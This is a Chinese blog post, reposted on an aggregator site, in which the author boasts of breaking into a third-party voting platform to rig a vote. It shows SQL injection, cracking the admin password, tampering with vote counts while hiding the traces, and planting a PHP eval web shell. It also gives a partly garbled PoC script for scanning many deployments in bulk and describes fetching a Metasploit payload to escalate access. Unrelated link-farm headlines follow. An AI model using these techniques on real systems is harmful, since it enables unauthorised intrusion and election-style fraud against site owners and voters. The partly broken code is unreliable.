当前位置:首页 > 娱乐星闻

【2002风云再起】专题刷票之风云再起——看我如何开启上帝视角

0x01前缀

本来写了很多序言,但昨天早上发生了一件事,我想重写序言、朋友们和小板凳。我的前言是这样的。屏幕都是王宝强。真心提醒我忘记他们昨天的誓言。(莎士比亚)。

李晨说会一直保护张馨予,谢霆锋说不介意张柏芝的过去,文章说这辈子最骄傲的是马伊琍……人有时真的是很善变的动物,真正永恒不变的只有

网络安全

你挖或不挖,漏洞就在那里

全心全意为你陪伴着你

很多盆友说不会再爱了,但我想说,女神还是得追的,万一她瞎呢。所以,书接上回,和女神聊天聊起来给基友孩子刷票的事,她一下就来劲了,说正好她也在参加一个投票活动,能不能帮她刷票啊,如果得第一,有特殊奖励哦,特殊奖励(做痴迷状)……

0x02 渗透测试

0x021 信息收集

投过手机浏览投票页面,发现是第三方程序,而非微信官方投票系统,那就能继续向前走,

并且都没微信端验证,在电脑上可以直接打开,隐隐觉得有戏。

手机抓包投票数据,根据上次刷票的经验,有可能下图中标识的两个id为验证项,也就是说,要想达到刷票目的,需要大量openid,后续事实证明如此,但我们今天刷票更精彩,各位客官,且听我慢慢道来。

将url除域名意外的部分删掉看看主页是个什么样子,当我看到登录界面时,我心中的猛虎已开始细嗅蔷薇。

0x022 SQL注入

平时我已经习惯了浏览网页时开着被动注入检测工具(点这里url),可这次却没用到,因为工具是有延时的,没有手工来得快。说来你们可能不信,看到第一张图我标示的那个搜索框了吗?当我输入一个单引号时,竟然报错了,这也许就是渗透经验吧。

果断用burp抓取搜索包,给sqlmap检测

Python –r –dbs

经过漫长的等待,检测结果出来了,有两个参数存在注入,分别为id和token

经过漫长的分析(分析表结构,n多表,此处省略1万字,渗透是体力活啊),终于拿到了管理员的用户名和密码散列还有QQ。

花了1毛钱最终破解了密码,为了女神,值!

0x023 进后台加票

用破解的用户名密码成功登陆后台,此时我内心的猛虎已开始咆哮。

那还等什么,看看怎么加票吧!点“选手设置”,看到了女神,排名还比较靠后。点“投票选项管理”,加减票选项出现了,是的,既可以加票也可以检票

有的同学可能会问了,那这投票岂不是管理员说了算?想让谁第一就让谁第一?没错,管理员具有“上帝模式”(为什么加引号?因为我才是真正的上帝!),不仅如此,还有更扯淡的,那就是主页上的浏览量、投票量和报名数都可以在后台设置。我好像知道的有点多了。

为了不让管理员发觉,我分数次将女神顶到了前边,但出现了新问题,这套系统的目的就是微信圈粉,如果关注公众号投票后又取消,那么所投票数是会被自动减掉的,并且后台会记录所有投票的记录数。

也就是说,如果不在后台加票,那么总记录数=总票数+减去的票数,但如果我在后台直接加票,会使得总记录数<总票数,管理员就有理由认为有人进后台加票了。那怎么办?

理了一下思路发现有两条路可走,

第一条路,利用刷票的方法满足以上等式条件,可刷票需要大量openid,哪里去弄那么多openid?再像上次那样XSS打?还不一定有XSS,即使有,时间成本太高,也刷不了几票,但是(重读),系统竟然很贴心的为我们准备好了所有投过票用户的openid,还支持导出excle,

但通过实践,可以成功刷票并且满足以上条件(具体过程限于篇幅不表,可参考上篇文章url),可是又有了新的问题,就是你把别人的openid用了,人家再投票回提示已投票,不能再投了,相当于我把所有选手的支持者都拉到了我女神的石榴裙下,那人家能乐意吗?万一有好事者联系管理员,那九前功尽弃了,动静太大了,正所谓“善攻者,飞于九天之上;善守者,遁于九地之下。”,此时我们就应该“遁于九地之下”,来看第二条路……

第二条路,就是取得webshell或者数据库权限,直接修改数据库中的记录数,使得后台加票后也满足以上等式。怎么?有些不耐心了?想直接加票就走人?不,我们要的是Perfect.

0x024 Get Webshell

我们来总结下,看看我们手里有多少料,你妹的,貌似我们除了一个后台,一个注入点,什么都没有。后台经过漫长的检测(累啊!头悬梁,锥刺股,大喊三声“女神”,接着干),并没有上传漏洞,并没有命令执行,并没有CSRF,并没有……总之后台没能getshell。此时我心中的猛虎酣睡了。现在只有注入点了,看看是什么权限吧,还算有点欣慰,是root。(这一天天,大起大落,小心脏都受不了)

那快用sqlmap写个webshell试试吧,写shell需要绝对路径,哪里找?刚开始的单引号报错就爆出了绝对路径,从后台照片处找到了照片上传路径,这样就构造出了有写权限的绝对路径。

竟然失败了。

说实话,当时我都快哭了,可是一想到女神,再一次目光坚定的望向了远方……那我看看能不能查出数据库用户名密码,然后幸运的话可以外联一下,事实证明,我特么想多了,又失败了。

既然工具不行,那就手工写shell把,还好,那我们直接经典的selectinto outfile导出webshell不就行了,用sqlmap的sql-shell试了下,总提示条件不满足。

还好注入点支持union联合查询,直接执行

Select <?php @eval($_POST['chopper']);?>,2,3,4 into outfile d:\\www\\uploads\\c.php

还是失败了(绝对路径用双斜杠是因为在执行时会将一个\转义为空)。好像是超过了长度,这个时候看到了这篇帖子点我,我可以把一句话拆分再hex啊

还是失败了,查了下原因。

mysql dumpfile与outfile函数的区别 SELECT into outfile :导出到一个txt文件,可以导出每行记录的,这个很适合导库 SELECT into dump:只能导出一行数据如果想把一个可执行二进制文件用into outfile函数导出,导出后,文件会被破坏因为into outfile函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏这时,我们能用into dumpfile导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理总结: into outfile:导出内容 into dumpfile:导出二进制文件

把outfile换成dumpfile,终于成功getshell,真是黄天不负有心人啊。

后来提权后测试发现,intooutfile会把一句话导出为这样

看到没有,中间多了空格。

终于可以放心大胆的给女神加票了,最终在我的帮助之下,女神取得了第一,特殊奖励就是一个大大的拥抱,88块的红包和她崇拜的眼神,我是说真的J

0x025 编写poc批量验证

刷票任务完成了,但是我们学习的脚步不能停,我发现这套投票系统比较通用,通过pentest(url)的谷歌工具发现网上有大量部署,何不写个poc批量验证呢,我习惯了用pocsuit写poc,大家可以选择其他框架。这里我直接给出代码

#!/usr/bin/env python # coding: utf-8 import re import urlparse import urllib import urllib2 from import req from import POCBase, Output from import register class TestPOC(POCBase): vulID = '62274' # ssvid version = '1' author = ['野驴'] vulDate = '2016-08-05' createDate = '2016-08-05' updateDate = '2016-08-05' references = [''] name = 'weilianyun_toupiao_sql_inj_PoC' appPowerLink = 'http://www..cn' appName = '' appVersion = '2016' vulType = 'SQL Injection' desc = ''' 投票管理系统,sql注入,报错,联合查询,时间盲注 ''' samples = ['http://www..cn/'] def _attack(self): result = {} #漏洞页面 exploit='/***&token=Eioa5C5oj3S32qhH&id=' #利用的payload payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,0x7170717071,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,21)),0x716a626a71))' #构造访问地址 vulurl= #提取信息的正则表达式 parttern='.*qpqpq(.*)qjbjq.*' #自定义的HTTP头 httphead = { 'User-Agent':'Mozilla (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox;, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Connection':'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded' } #访问 resp=req.get(url=vulurl,headers=httphead,timeout=50) #判断特征字符串 if 'XPATH syntax error' in re: #提取信息 match=re.findall(parttern,re,re.I) if match: result['DbInfo']={} #记录数据库用户名 result['DbInfo']['UserName'] =match[0] return (result) def _verify(self): #利用漏洞计算md5) result = {} #漏洞页面 exploit='/***&token=Eioa5C5oj3S32qhH&id=' #利用的payload payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,MD5)))' #payload='1 AND extractvalue(1, concat(0x5c,md5)))' #md5)的值 md5value='63e1f04640e83605c1d177544a5a0488' #构造访问地址 vulurl= #自定义的HTTP头 httphead = { 'User-Agent':'Mozilla (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox;, 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Connection':'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded' } #访问 resp=req.get(url=vulurl,headers=httphead,timeout=50) #判断特征字符串(由于extractvalue有长度限制,这里只比较前30位) if md5value[:30] in re: #漏洞验证成功 result['VerifyInfo']={} result['VerifyInfo']['URL'] = result['VerifyInfo']['Payload'] = payload return (result) def parse_attack(self, result): output = Output(self) if result: ou(result) else: ou('Internet nothing returned') return output register(TestPOC)

这里我说下attack模式下,正则获取数据库用户的方法,通过测试发现投送payload(sqlmap –v 3获得)后,数据库用户是包含在两个特殊字符串中间的

所以我们的正则可以这么写

.*qpqpq(.*)qjbjq.*

来执行下

导入刚才pentest爬取的域名文件

Pcs>config Pcs.config>urlFile url.txt pcs>attack

0x026 提权

提权就比较简单了,先msfVENOM生成payload

webshell直接下载公网metasploit的payload,执行后,获得meterpreter交互

0x03 结束语

实在写不动了,但是我想说,渗透虽然是个体力加脑力活,但因为我喜欢,所以痛并快乐着。回顾下我们渗透的过程

信息收集->注入管理员信息->进后台->getwebshell->合法加票->poc批量验证->提权

明天又会有什么趣闻发生呢?管他呢,我退出娱乐圈很久了。

1.《【2002风云再起】专题刷票之风云再起——看我如何开启上帝视角》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。

2.《【2002风云再起】专题刷票之风云再起——看我如何开启上帝视角》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。

3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/yule/2071066.html

上一篇

007传奇攻略看这里!影史上最具锋芒的007,传奇特工为救恩师,一人独战黑客军团!

下一篇

2018世界杯巴西队阵容看这里!德转列巴西2026世界杯可能阵容:热苏斯领衔,内马尔不在列

2002风云再起看这里!“席位”争夺风云再起!8家上市股份行哪家强?招行稳占C位?

  • 2002风云再起看这里!“席位”争夺风云再起!8家上市股份行哪家强?招行稳占C位?
  • 2002风云再起看这里!“席位”争夺风云再起!8家上市股份行哪家强?招行稳占C位?
  • 2002风云再起看这里!“席位”争夺风云再起!8家上市股份行哪家强?招行稳占C位?

2002风云再起看这里!风云再起 四款紧凑级SUV对比

  • 2002风云再起看这里!风云再起 四款紧凑级SUV对比
  • 2002风云再起看这里!风云再起 四款紧凑级SUV对比
  • 2002风云再起看这里!风云再起 四款紧凑级SUV对比

2002风云再起,干货看这篇!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”

  • 2002风云再起,干货看这篇!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”
  • 2002风云再起,干货看这篇!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”
  • 2002风云再起,干货看这篇!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”
【2002风云再起】滞涨股风云再起 或许为投资者指明调仓换股路线图

【2002风云再起】滞涨股风云再起 或许为投资者指明调仓换股路线图

2002风云再起相关介绍,上周五(4月17日),上海手指又创下了7年以上的新纪录,盘子上一度站在4300点。 随着指数节节飙升,市场上关于大盘调整的呼声也越来越高。实际上,上周除了指数一如既往地彪涨,市场已经出现热点转换,前期...

【2002拳皇风云再起】专题拳皇2002风云再起金家潘连招、初中时候的操作十多年了

【2002拳皇风云再起】专题拳皇2002风云再起金家潘连招、初中时候的操作十多年了

2002拳皇风云再起相关介绍,权皇2002冯云才基金家凡延寿,初中时操作了10多年,一直认为他的腿法最帅,打的流畅。...

2002风云再起看这里!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”

  • 2002风云再起看这里!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”
  • 2002风云再起看这里!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”
  • 2002风云再起看这里!基金代销“风云再起”:银行稳居C位、互联网“强势崛起”

2002风云再起看这里!毛鸡继续跌,羊市风云再起,蛋价低迷!蔬菜“浇贵”,肉蛋要涨?

  • 2002风云再起看这里!毛鸡继续跌,羊市风云再起,蛋价低迷!蔬菜“浇贵”,肉蛋要涨?
  • 2002风云再起看这里!毛鸡继续跌,羊市风云再起,蛋价低迷!蔬菜“浇贵”,肉蛋要涨?
  • 2002风云再起看这里!毛鸡继续跌,羊市风云再起,蛋价低迷!蔬菜“浇贵”,肉蛋要涨?

【2002风云再起】沧海横流,风云再起!帽哥出品

  • 【2002风云再起】沧海横流,风云再起!帽哥出品
  • 【2002风云再起】沧海横流,风云再起!帽哥出品
  • 【2002风云再起】沧海横流,风云再起!帽哥出品